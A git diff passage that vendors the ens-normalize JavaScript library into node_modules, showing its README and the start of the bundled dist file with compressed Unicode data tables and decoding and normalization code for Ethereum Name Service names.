TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/node_modules/@adraffy/ens-normalize/README.md b/node_modules/@adraffy/ens-normalize/README.md new file mode 100644 index 000000000000..8cfe2b7e244e --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/README.md @@ -0,0 +1,206 @@ +# ens-normalize.js +0-dependancy [Ethereum Name Service](https://ens.domains/) (ENS) Name Normalizer. + +* 🏛️ Follows [ENSIP-15: ENS Name Normalization Standard](https://docs.ens.domains/ens-improvement-proposals/ensip-15-normalization-standard) + * Other implementations: + * Python — [namehash/ens-normalize-python](https://github.com/namehash/ens-normalize-python) + * C# — [adraffy/ENSNormalize.cs](https://github.com/adraffy/ENSNormalize.cs) + * Java — [adraffy/ENSNormalize.java](https://github.com/adraffy/ENSNormalize.java) + * Javascript — [ensdomains/eth-ens-namehash](https://github.com/ensdomains/eth-ens-namehash) + * [Breakdown Reports from ENSIP-1](https://adraffy.github.io/ens-norm-tests/test-breakdown/output-20230226/) +* ✅️ Passes **100%** [ENSIP-15 Validation Tests](https://adraffy.github.io/ens-normalize.js/test/validate.html) +* ✅️ Passes **100%** [Unicode Normalization Tests](https://adraffy.github.io/ens-normalize.js/test/report-nf.html) +* Minified File Sizes: + * [`28KB`](./dist/index-xnf.min.js) — native `NFC` via [nf-native.js](./src/nf-native.js) using `String.normalize()` ⚠️ + * [`37KB` **Default**](./dist/index.min.js) — custom `NFC` via [nf.js](./src/nf.js) + * [`43KB`](./dist/all.min.js) *Everything!* — custom `NFC` + sub-libraries: [parts.js](./src/parts.js), [utils.js](./src/utils.js) +* Included Apps: + * [**Resolver Demo**](https://adraffy.github.io/ens-normalize.js/test/resolver.html) ⭐ + * [Supported Emoji](https://adraffy.github.io/ens-normalize.js/test/emoji.html) + * [Character Viewer](https://adraffy.github.io/ens-normalize.js/test/chars.html) + * [Confused Explainer](https://adraffy.github.io/ens-normalize.js/test/confused.html) +* Related Projects: + * [Recent .eth Registrations](https://raffy.antistupid.com/eth/ens-regs.html) • [.eth Renews](https://raffy.antistupid.com/eth/ens-renews.html) + * [.eth Expirations](https://raffy.antistupid.com/eth/ens-exp.html) + * [Emoji Frequency Explorer](https://raffy.antistupid.com/eth/ens-emoji-freq.html) + * [ENS+NFT Matcher](https://raffy.antistupid.com/eth/ens-nft-matcher.html) + * [Batch Resolver](https://raffy.antistupid.com/eth/ens-batch-resolver.html) + * [Label Database](https://github.com/adraffy/ens-labels/) • [Labelhash⁻¹](https://adraffy.github.io/ens-labels/demo.html) + * [adraffy/punycode.js](https://github.com/adraffy/punycode.js/) • [Punycode Coder](https://adraffy.github.io/punycode.js/test/demo.html) + * [adraffy/keccak.js](https://github.com/adraffy/keccak.js/) • [Keccak Hasher](https://adraffy.github.io/keccak.js/test/demo.html) + * [adraffy/emoji.js](https://github.com/adraffy/emoji.js/) • [Emoji Parser](https://adraffy.github.io/emoji.js/test/demo.html) + +```js +import {ens_normalize} from '@adraffy/ens-normalize'; // or require() +// npm i @adraffy/ens-normalize +// browser: https://cdn.jsdelivr.net/npm/@adraffy/ens-normalize@latest/dist/index.min.mjs (or .cjs) + +// *** ALL errors thrown by this library are safe to print *** +// - characters are shown as {HEX} if should_escape() +// - potentially different bidi directions inside "quotes" +// - 200E is used near "quotes" to prevent spillover +// - an "error type" can be extracted by slicing up to the first (:) +// - labels are middle-truncated with ellipsis (…) at 63 cps + +// string -> string +// throws on invalid names +// output ready for namehash +let normalized = ens_normalize('RaFFY🚴‍♂️.eTh'); +// => "raffy🚴‍♂.eth" + +// note: does not enforce .eth registrar 3-character minimum +``` + +Format names with fully-qualified emoji: +```js +// works like ens_normalize() +// output ready for display +let pretty = ens_beautify('1⃣2⃣.eth'); +// => "1️⃣2️⃣.eth" + +// note: normalization is unchanged: +// ens_normalize(ens_beautify(x)) == ens_normalize(x) +``` + +Normalize name fragments for [substring search](./test/fragment.js): +```js +// these fragments fail ens_normalize() +// but will normalize fine as fragments +let frag1 = ens_normalize_fragment('AB--'); // expected error: label ext +let frag2 = ens_normalize_fragment('\u{303}'); // expected error: leading cm +let frag3 = ens_normalize_fragment('οо'); // expected error: mixture +``` + +Input-based tokenization: +```js +// string -> Token[] +// never throws +let tokens = ens_tokenize('_R💩\u{FE0F}a\u{FE0F}\u{304}\u{AD}./'); +// [ +// { type: 'valid', cp: [ 95 ] }, // valid (as-is) +// { +// type: 'mapped', +// cp: 82, // input +// cps: [ 114 ] // output +// }, +// { +// type: 'emoji', +// input: Emoji(2) [ 128169, 65039 ], // input +// emoji: [ 128169, 65039 ], // fully-qualified +// cps: Emoji(1) [ 128169 ] // output (normalized) +// }, +// { +// type: 'nfc', +// input: [ 97, 772 ], // input (before nfc) +// tokens0: [ // tokens (before nfc) +// { type: 'valid', cps: [ 97 ] }, +// { type: 'ignored', cp: 65039 }, +// { type: 'valid', cps: [ 772 ] } +// ], +// cps: [ 257 ], // output (after nfc) +// tokens: [ // tokens (after nfc) +// { type: 'valid', cps: [ 257 ] } +// ] +// }, +// { type: 'ignored', cp: 173 }, +// { type: 'stop', cp: 46 }, +// { type: 'disallowed', cp: 47 } +// ] + +// note: if name is normalizable, then: +// ens_normalize(ens_tokenize(name).map(token => { +// ** convert valid/mapped/nfc/stop to string ** +// }).join('')) == ens_normalize(name) +``` + +Output-based tokenization: +```js +// string -> Label[] +// never throws +let labels = ens_split('💩Raffy.eth_'); +// [ +// { +// input: [ 128169, 82, 97, 102, 102, 121 ], +// offset: 0, // index of codepoint, not substring index! +// // (corresponding length can be inferred from input) +// tokens: [ +// Emoji(2) [ 128169, 65039 ], // emoji +// [ 114, 97, 102, 102, 121 ] // nfc-text +// ], +// output: [ 128169, 114, 97, 102, 102, 121 ], +// emoji: true, +// type: 'Latin' +// }, +// { +// input: [ 101, 116, 104, 95 ], +// offset: 7, +// tokens: [ [ 101, 116, 104, 95 ] ], +// output: [ 101, 116, 104, 95 ], +// error: Error('underscore allowed only at start') +// } +// ] +``` + +Generate a sorted array of (beautified) supported emoji codepoints: +```js +// () -> number[][] +let emojis = ens_emoji(); +// [ +// [ 2764 ], +// [ 128169, 65039 ], +// [ 128105, 127997, 8205, 9877, 65039 ], +// ... +// ] +``` + +Determine if a character shouldn't be printed directly: +```js +// number -> bool +should_escape(0x202E); // eg. RIGHT-TO-LEFT OVERRIDE => true +``` + +Determine if a character is a combining mark: +```js +// number -> bool +is_combining_mark(0x20E3); // eg. COMBINING ENCLOSING KEYCAP => true +``` + +Format codepoints as print-safe string: +```js +// number[] -> string +safe_str_from_cps([0x300, 0, 32, 97]); // "◌̀{00} a" +safe_str_from_cps(Array(100).fill(97), 4); // "aa…aa" => middle-truncated +``` + +## Build + +* `git clone` this repo, then `npm install` +* Follow instructions in [/derive/](./derive/) to generate data files + * `npm run derive` + * [spec.json](./derive/output/spec.json) + * [nf.json](./derive/output/nf.json) + * [nf-tests.json](./derive/output/nf-tests.json) +* `npm run make` — compress data files from [/derive/output/](./derive/output/) + * [include-ens.js](./src/include-ens.js) + * [include-nf.js](./src/include-nf.js) + * [include-versions.js](./src/include-versions.js) +* Follow instructions in [/validate/](./validate/) to generate validation tests + * `npm run validate` + * [tests.json](./validate/tests.json) +* `npm run test` — perform validation tests +* `npm run build` — create [/dist/](./dist/) +* `npm run rebuild` — run all the commands above +* `npm run order` — create optimal group ordering and rebuild again + +### Publishing to NPM + +This project uses `.js` instead of `.mjs` so [package.json](./package.json) uses `type: module`. To avoid bundling issues, `type` is [dropped during packing](./src/prepost.js). `pre/post` hooks aren't used because they're buggy. +* `npm run pack` instead of `npm pack` +* `npm run pub` instead of `npm publish` + +## Security + +* [Build](#build) and compare against [include-versions.js](./src/include-versions.js) + * `spec_hash` — SHA-256 of [spec.json](./derive/output/spec.json) bytes + * `base64_ens_hash` — SHA-256 of [include-ens.js](./src/include-ens.js) base64 literal + * `base64_nf_hash` — SHA-256 of [include-nf.js](./src/include-nf.js) base64 literal diff --git a/node_modules/@adraffy/ens-normalize/dist/all.js b/node_modules/@adraffy/ens-normalize/dist/all.js new file mode 100644 index 000000000000..d21e76ce83ee --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/all.js @@ -0,0 +1,1611 @@ +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-ens data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32 +var COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FY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47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI'; +const FENCED = new Map([[8217,"apostrophe"],[8260,"fraction slash"],[12539,"middle dot"]]); +const NSM_MAX = 4; + +function decode_arithmetic(bytes) { + let pos = 0; + function u16() { return (bytes[pos++] << 8) | bytes[pos++]; } + + // decode the frequency table + let symbol_count = u16(); + let total = 1; + let acc = [0, 1]; // first symbol has frequency 1 + for (let i = 1; i < symbol_count; i++) { + acc.push(total += u16()); + } + + // skip the sized-payload that the last 3 symbols index into + let skip = u16(); + let pos_payload = pos; + pos += skip; + + let read_width = 0; + let read_buffer = 0; + function read_bit() { + if (read_width == 0) { + // this will read beyond end of buffer + // but (undefined|0) => zero pad + read_buffer = (read_buffer << 8) | bytes[pos++]; + read_width = 8; + } + return (read_buffer >> --read_width) & 1; + } + + const N = 31; + const FULL = 2**N; + const HALF = FULL >>> 1; + const QRTR = HALF >> 1; + const MASK = FULL - 1; + + // fill register + let register = 0; + for (let i = 0; i < N; i++) register = (register << 1) | read_bit(); + + let symbols = []; + let low = 0; + let range = FULL; // treat like a float + while (true) { + let value = Math.floor((((register - low + 1) * total) - 1) / range); + let start = 0; + let end = symbol_count; + while (end - start > 1) { // binary search + let mid = (start + end) >>> 1; + if (value < acc[mid]) { + end = mid; + } else { + start = mid; + } + } + if (start == 0) break; // first symbol is end mark + symbols.push(start); + let a = low + Math.floor(range * acc[start] / total); + let b = low + Math.floor(range * acc[start+1] / total) - 1; + while (((a ^ b) & HALF) == 0) { + register = (register << 1) & MASK | read_bit(); + a = (a << 1) & MASK; + b = (b << 1) & MASK | 1; + } + while (a & ~b & QRTR) { + register = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit(); + a = (a << 1) ^ HALF; + b = ((b ^ HALF) << 1) | HALF | 1; + } + low = a; + range = 1 + b - a; + } + let offset = symbol_count - 4; + return symbols.map(x => { // index into payload + switch (x - offset) { + case 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]); + case 1: return offset + bytes[pos_payload++]; + default: return x - 1; + } + }); +} + +// returns an iterator which returns the next symbol +function read_payload(v) { + let pos = 0; + return () => v[pos++]; +} +function read_compressed_payload(s) { + return read_payload(decode_arithmetic(unsafe_atob(s))); +} + +// unsafe in the sense: +// expected well-formed Base64 w/o padding +// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4 +function unsafe_atob(s) { + let lookup = []; + [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i); + let n = s.length; + let ret = new Uint8Array((6 * n) >> 3); + for (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) { + carry = (carry << 6) | lookup[s.charCodeAt(i)]; + width += 6; + if (width >= 8) { + ret[pos++] = (carry >> (width -= 8)); + } + } + return ret; +} + +// eg. [0,1,2,3...] => [0,-1,1,-2,...] +function signed(i) { + return (i & 1) ? (~i >> 1) : (i >> 1); +} + +function read_deltas(n, next) { + let v = Array(n); + for (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next()); + return v; +} + +// [123][5] => [0 3] [1 1] [0 0] +function read_sorted(next, prev = 0) { + let ret = []; + while (true) { + let x = next(); + let n = next(); + if (!n) break; + prev += x; + for (let i = 0; i < n; i++) { + ret.push(prev + i); + } + prev += n + 1; + } + return ret; +} + +function read_sorted_arrays(next) { + return read_array_while(() => { + let v = read_sorted(next); + if (v.length) return v; + }); +} + +// returns map of x => ys +function read_mapped(next) { + let ret = []; + while (true) { + let w = next(); + if (w == 0) break; + ret.push(read_linear_table(w, next)); + } + while (true) { + let w = next() - 1; + if (w < 0) break; + ret.push(read_replacement_table(w, next)); + } + return ret.flat(); +} + +// read until next is falsy +// return array of read values +function read_array_while(next) { + let v = []; + while (true) { + let x = next(v.length); + if (!x) break; + v.push(x); + } + return v; +} + +// read w columns of length n +// return as n rows of length w +function read_transposed(n, w, next) { + let m = Array(n).fill().map(() => []); + for (let i = 0; i < w; i++) { + read_deltas(n, next).forEach((x, j) => m[j].push(x)); + } + return m; +} + +// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...] +// where dx/dy = steps, n = run size, w = length of y +function read_linear_table(w, next) { + let dx = 1 + next(); + let dy = next(); + let vN = read_array_while(next); + let m = read_transposed(vN.length, 1+w, next); + return m.flatMap((v, i) => { + let [x, ...ys] = v; + return Array(vN[i]).fill().map((_, j) => { + let j_dy = j * dy; + return [x + j * dx, ys.map(y => y + j_dy)]; + }); + }); +} + +// return [[x, ys...], ...] +// where w = length of y +function read_replacement_table(w, next) { + let n = 1 + next(); + let m = read_transposed(n, 1+w, next); + return m.map(v => [v[0], v.slice(1)]); +} + + +function read_trie(next) { + let ret = []; + let sorted = read_sorted(next); + expand(decode([]), []); + return ret; // not sorted + function decode(Q) { // characters that lead into this node + let S = next(); // state: valid, save, check + let B = read_array_while(() => { // buckets leading to new nodes + let cps = read_sorted(next).map(i => sorted[i]); + if (cps.length) return decode(cps); + }); + return {S, B, Q}; + } + function expand({S, B}, cps, saved) { + if (S & 4 && saved === cps[cps.length-1]) return; + if (S & 2) saved = cps[cps.length-1]; + if (S & 1) ret.push(cps); + for (let br of B) { + for (let cp of br.Q) { + expand(br, [...cps, cp], saved); + } + } + } +} + +function hex_cp(cp) { + return cp.toString(16).toUpperCase().padStart(2, '0'); +} + +function quote_cp(cp) { + return `{${hex_cp(cp)}}`; // raffy convention: like "\u{X}" w/o the "\u" +} + +/* +export function explode_cp(s) { + return [...s].map(c => c.codePointAt(0)); +} +*/ +function explode_cp(s) { // this is about 2x faster + let cps = []; + for (let pos = 0, len = s.length; pos < len; ) { + let cp = s.codePointAt(pos); + pos += cp < 0x10000 ? 1 : 2; + cps.push(cp); + } + return cps; +} + +function str_from_cps(cps) { + const chunk = 4096; + let len = cps.length; + if (len < chunk) return String.fromCodePoint(...cps); + let buf = []; + for (let i = 0; i < len; ) { + buf.push(String.fromCodePoint(...cps.slice(i, i += chunk))); + } + return buf.join(''); +} + +function compare_arrays(a, b) { + let n = a.length; + let c = n - b.length; + for (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i]; + return c; +} + +function random_choice(v, rng = Math.random) { + return v[rng() * v.length|0]; +} + +function random_sample(v, n, rng = Math.random) { + v = v.slice(); // make copy + if (v.length > n) { + for (let i = 0; i < n; i++) { // shuffle prefix n + let temp = v[i]; + let j = Math.floor(i + rng() * (v.length - i)); + v[i] = v[j]; + v[j] = temp; + } + v = v.slice(0, n); // truncate + } + return v; +} + +function run_tests(fn, tests) { + let errors = []; + for (let test of tests) { + let {name, norm, error} = test; + if (typeof norm !== 'string') norm = name; + try { + let result = fn(name); + if (error) { + errors.push({type: 'expected error', result, ...test}); + } else if (result != norm) { + errors.push({type: 'wrong norm', result, ...test}); + } + } catch (err) { + if (!error) { + errors.push({type: 'unexpected error', result: err.message, ...test}); + } + } + } + return errors; +} + +// created 2023-09-25T01:01:55.148Z +// compressed base64-encoded blob for include-nf data +// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js +// see: https://github.com/adraffy/ens-normalize.js#security +// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e +var COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWI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wa3HmjfH/ZjhhCWvluAcF+nMf14ClKg5hGgtPLJ98ueNAkc5Hs2WZlk2QHvfreCK1CCGO6nMZVSb99VM/ajr8WHTte9JSmkXq/i/U943HEbdzW6Re/S88dKgg8pGOLlAeNiqrcLkUR3/aClFpMXcOUP3rmETcWSfMXZE3TUOi8i+fqRnTYLflVx/Vb/6GJ7eIRZUA6k3RYR3iFSK9c4iDdNwJuZL2FKz/IK5VimcNWEqdXjSoxSgmF0UPlDoUlNrPcM7ftmA8Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g'; + +// https://unicode.org/reports/tr15/ +// for reference implementation +// see: /derive/nf.js + + +// algorithmic hangul +// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144) +const S0 = 0xAC00; +const L0 = 0x1100; +const V0 = 0x1161; +const T0 = 0x11A7; +const L_COUNT = 19; +const V_COUNT = 21; +const T_COUNT = 28; +const N_COUNT = V_COUNT * T_COUNT; +const S_COUNT = L_COUNT * N_COUNT; +const S1 = S0 + S_COUNT; +const L1 = L0 + L_COUNT; +const V1 = V0 + V_COUNT; +const T1 = T0 + T_COUNT; + +function unpack_cc(packed) { + return (packed >> 24) & 0xFF; +} +function unpack_cp(packed) { + return packed & 0xFFFFFF; +} + +let SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP; + +function init$1() { + //console.time('nf'); + let r = read_compressed_payload(COMPRESSED); + SHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted + EXCLUSIONS = new Set(read_sorted(r)); + DECOMP = new Map(); + RECOMP = new Map(); + for (let [cp, cps] of read_mapped(r)) { + if (!EXCLUSIONS.has(cp) && cps.length == 2) { + let [a, b] = cps; + let bucket = RECOMP.get(a); + if (!bucket) { + bucket = new Map(); + RECOMP.set(a, bucket); + } + bucket.set(b, cp); + } + DECOMP.set(cp, cps.reverse()); // stored reversed + } + //console.timeEnd('nf'); + // 20230905: 11ms +} + +function is_hangul(cp) { + return cp >= S0 && cp < S1; +} + +function compose_pair(a, b) { + if (a >= L0 && a < L1 && b >= V0 && b < V1) { + return S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT; + } else if (is_hangul(a) && b > T0 && b < T1 && (a - S0) % T_COUNT == 0) { + return a + (b - T0); + } else { + let recomp = RECOMP.get(a); + if (recomp) { + recomp = recomp.get(b); + if (recomp) { + return recomp; + } + } + return -1; + } +} + +function decomposed(cps) { + if (!SHIFTED_RANK) init$1(); + let ret = []; + let buf = []; + let check_order = false; + function add(cp) { + let cc = SHIFTED_RANK.get(cp); + if (cc) { + check_order = true; + cp |= cc; + } + ret.push(cp); + } + for (let cp of cps) { + while (true) { + if (cp < 0x80) { + ret.push(cp); + } else if (is_hangul(cp)) { + let s_index = cp - S0; + let l_index = s_index / N_COUNT | 0; + let v_index = (s_index % N_COUNT) / T_COUNT | 0; + let t_index = s_index % T_COUNT; + add(L0 + l_index); + add(V0 + v_index); + if (t_index > 0) add(T0 + t_index); + } else { + let mapped = DECOMP.get(cp); + if (mapped) { + buf.push(...mapped); + } else { + add(cp); + } + } + if (!buf.length) break; + cp = buf.pop(); + } + } + if (check_order && ret.length > 1) { + let prev_cc = unpack_cc(ret[0]); + for (let i = 1; i < ret.length; i++) { + let cc = unpack_cc(ret[i]); + if (cc == 0 || prev_cc <= cc) { + prev_cc = cc; + continue; + } + let j = i-1; + while (true) { + let tmp = ret[j+1]; + ret[j+1] = ret[j]; + ret[j] = tmp; + if (!j) break; + prev_cc = unpack_cc(ret[--j]); + if (prev_cc <= cc) break; + } + prev_cc = unpack_cc(ret[i]); + } + } + return ret; +} + +function composed_from_decomposed(v) { + let ret = []; + let stack = []; + let prev_cp = -1; + let prev_cc = 0; + for (let packed of v) { + let cc = unpack_cc(packed); + let cp = unpack_cp(packed); + if (prev_cp == -1) { + if (cc == 0) { + prev_cp = cp; + } else { + ret.push(cp); + } + } else if (prev_cc > 0 && prev_cc >= cc) { + if (cc == 0) { + ret.push(prev_cp, ...stack); + stack.length = 0; + prev_cp = cp; + } else { + stack.push(cp); + } + prev_cc = cc; + } else { + let composed = compose_pair(prev_cp, cp); + if (composed >= 0) { + prev_cp = composed; + } else if (prev_cc == 0 && cc == 0) { + ret.push(prev_cp); + prev_cp = cp; + } else { + stack.push(cp); + prev_cc = cc; + } + } + } + if (prev_cp >= 0) { + ret.push(prev_cp, ...stack); + } + return ret; +} + +// note: cps can be iterable +function nfd(cps) { + return decomposed(cps).map(unpack_cp); +} +function nfc(cps) { + return composed_from_decomposed(decomposed(cps)); +} + +const HYPHEN = 0x2D; +const STOP = 0x2E; +const STOP_CH = '.'; +const FE0F = 0xFE0F; +const UNIQUE_PH = 1; + +// 20230913: replace [...v] with Array_from(v) to avoid large spreads +const Array_from = x => Array.from(x); // Array.from.bind(Array); + +function group_has_cp(g, cp) { + // 20230913: keep primary and secondary distinct instead of creating valid union + return g.P.has(cp) || g.Q.has(cp); +} + +class Emoji extends Array { + get is_emoji() { return true; } // free tagging system +} + +let MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT; + +function init() { + if (MAPPED) return; + + let r = read_compressed_payload(COMPRESSED$1); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + NFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + 